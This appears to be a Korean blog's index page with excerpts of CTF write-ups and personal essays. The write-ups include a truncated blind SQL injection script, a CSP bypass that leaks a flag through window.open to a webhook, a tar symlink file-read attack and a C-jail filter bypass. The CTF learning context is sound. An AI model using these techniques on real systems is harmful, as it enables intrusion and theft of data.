분류 전체보기 65

훈련소를 마치기까지

2023.10.26 본수씨의 사이버작전병 개설 소식을 듣고 덥석 신청해버렸다 이때 당시 나는 4년간 대회에서 계속 본 04 분들이 병역 문제를 어떻게 처리하는지 많이 궁금해 했었다. 고려대 사국이나 카이스트를 간 친구들은 대학원을 가려는 듯 보였고 윗분들도 그래보였다. 나 또한 대학원 생각이 없지 않았었고 티오리에서 전문연을 뽑았기에 석사를 생각했었다. 아니면 2학년까지 재학하고 sw 개발병이나 정보보호병을 생각하고 있었는데 사이버작전병이 새로 개설되었단다. 현재 사이버작전병으로 자대를 온 시점에서 사작병을 선택한 이유는 크게 다음과 같다. 1. 정보보호병과 구분되는 보안 특기병 2. 군단급 부대 배치 3. 지원 자격 충족 4. 첫 기수 먼저 정보보호병은 낮은 부대에 배치될 경우 약간 잡무를 담당하게 된..

카테고리 없음 2024.03.25

2023 Layer7 CTF Writeup

1. Loogle - rev / 986 pts 음 문제 정적분석하다가 4시간 날려먹고 이리저리 동적분석해가면서 풀었다 database 폴더 내에 위처럼 파일이 4개가 저장되어있다. 저장 방식은 각 문서에 나오는 단어들을 rev_index_table에 쭉 저장하는데, 각 단어가 몇번째 문서에 몇번 나오는지가 저장되어있다. 위 단어들이 각 문서에 있는데, henagon 부터 icosadecagon 까지는 총 22006개의 문서에 수십개에서 수백개씩 모두 들어가있다. 플래그에 해당하는 단어들은 20000 문서부터 20005 문서까지 저장되어 있다. 그리고 nc 서버가 열려있는데 서버에서는 search 바이너리가 실행되어서 문서를 검색할 수 있게 한다. cpp이지만 다행히 strip까지는 안되어있어서 아래처럼 ..

CTF Writeup 2023.12.03

seeds - python bytes, int seed trick

2023.11.26 HSpace CTF - seeds import random flag = "hspace{}" random.seed(bytes.fromhex(input("hex seed> "))) cache = random.getrandbits(50000) random.seed(int(input("int seed> "))) assert cache == random.getrandbits(50000) print(flag) seed를 bytes와 int 로 각각 설정하는데 같은 시드인 것처럼 동작해야한다. python seed 코드를 확인해보면 https://github.com/python/cpython/blob/main/Lib/random.py#L167C32-L167C32 seed 가 bytes 인 경우 i..

CTF Writeup 2023.11.27

babysrc - CSP default-src, unsafe-inline bypass

2023.11.25 - Incognito 2023 CTF - babysrc 단순 XSS 문제인데 다음의 조건이 있따. 1. CSP - default-src, unsafe-inline 2. xss 로 post(/flag) -> res -> get(hook) unsafe-inline 이 허용되어서 script 태그처럼 js 코드를 실행시킬 수는 있는데, default-src 에 connect-src 가 포함되어 있어서 fetch, xhr 등으로 /flag 나 웹훅 사이트에 리퀘를 못 날린다. 다른 CTF 에서도 이러한 유형의 문제를 만나고 해결하지 못한 경험이 많은데 이번에 해결하였다 window.open 으로 원하는 주소에 접근할 수 있고 이는 CSP 에 걸리지 않아 이것을 이용하면 된다. 특이한 것은 P..

CTF Writeup 2023.11.27

freeboard - php blind error based sqli

평소 sqli 문제는 잘 못 풀었었는데 이제 어느정도 감 잡은 것 같다. blind sqli 코드 재활용을 위해 남긴다 from requests import * URL = 'http://54.180.124.188:8010/' for k in range(1): print('*'*10) s = [] for j in range(40): # print('asdf') start = 0 end = 255 for i in range(30): bs = (start + end) // 2 # print(bs, start, end) password = '12345678' username = f"' or (select case when ord(substr(s.column_name, {j+1}, 1)) >= {bs} then ..

CTF Writeup 2023.11.27

hdrive - tar symbolic link attack

2023.11.26 - Hspace CTF - H Drive tar 파일만을 업로드할 수 있고 압축한 파일들을 다운받을 수 있다. https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/ TarAnalyzer - 2020 Defenit CTF | bi0s tl;dr Zip Slip Vulnerability + YAML Deserialization Attack + Race Condition Unintended Solution: Upload symlink leading to arbitarary file reads Solved by: c3rb3ru5 Challenge Description Our developer built simple web server for..

CTF Writeup 2023.11.27

safe-compiler / C jail Trick

2023.11.26 Hspace CTF - safe compiler BAN_LIST = ['sys', 'exe', 'asm', 'attr', 'mprotect', 'mmap', 'munmap', 'open', 'read', 'write', ';', 'include'] CTF C Jail semicolon & include filtered bypass 1. semicolon #include int main() { if(printf("Hello, World\n")) {} } if, while, switch 안에 표현식(expression) 을 넣어서 세미콜론 없이 코드를 작성할 수 있다. 2. include 헤더를 include 할 수 없어서 __asm__ 을 생각해볼 수 있는데 표현식이 아니라 statem..

CTF Writeup 2023.11.27

철학 == 빛?

우리는 빛이 물체에 부딪혀 반사되는 빛을 눈에 담고 이미지를 그린다. 빛이 없으면 깜깜하지만 더듬거리면서 형체를 희미하게나마 머릿속에 그려볼 수 있다. 우리는 살아가면서 이런 저런 생각을 하며 머릿속 자신만의 세계에 여기 저기 던져둔다. 내가 의식을 하고 있는 정보든 나도 모르는 새에 생긴 생각이든 어두운 세계 속에 자리하고 있다. 잘 살고 있는 와중에 누군가 "너는 왜 살아?" 라고 물을 때 마음 속으로는 아리까리한 기분이 들면서 "죽지 못해서", "그냥" 과 같은 말이 툭 튀어나오게 된다. 정말 그렇게 생각했든 말든 그게 진심일까? "그냥" 이라는 대답은 무언가 말로 표현하기 힘든 마치 암흑 속의 책상을 더듬거리면서 "무언가가 있는 것 같아" 라는 것과 비슷하다. 무의식 속, 자신의 세계 속 어디 구..

Life 2023.11.10

유현준 교수님 건대에 오신 날

2023.10.30 월요일 1교시에 맞춰 6시 30분에 일어나서 후딱 나오니 예쁜 구름이 맞이했다. 학교 도서관 복도에 유현준 교수님이 오신다는 포스터가 붙어있길래 오늘을 기대하고 있었다. 3시에 삶과 죽음의 철학 수업이 있지만 살면서 언제 직접 볼지 모르는 유현준 교수님 강의를 들으러 가기로 했다. 도서관 가는 길에 새소리가 크게 들리길래 두리번 거리다가 발견한 통통한 새도 찍어준다 30분 정도 일찍 오니 앉을 수 있는 자리가 많았다. 2시가 되고 유현준 교수님 등장 사진에 보다시피 해당 장소에 자료를 띄울 수 있는 기기가 없어서 오직 입담으로만 한 시간을 채우셨다. 이야기의 주제는 교수님께서 새로 내신 '유현준의 인문 건축 기행' 책 이다. 인문기행 책은 세계의 100개 건축물 중 33개씩 시리즈로 ..

Life 2023.11.09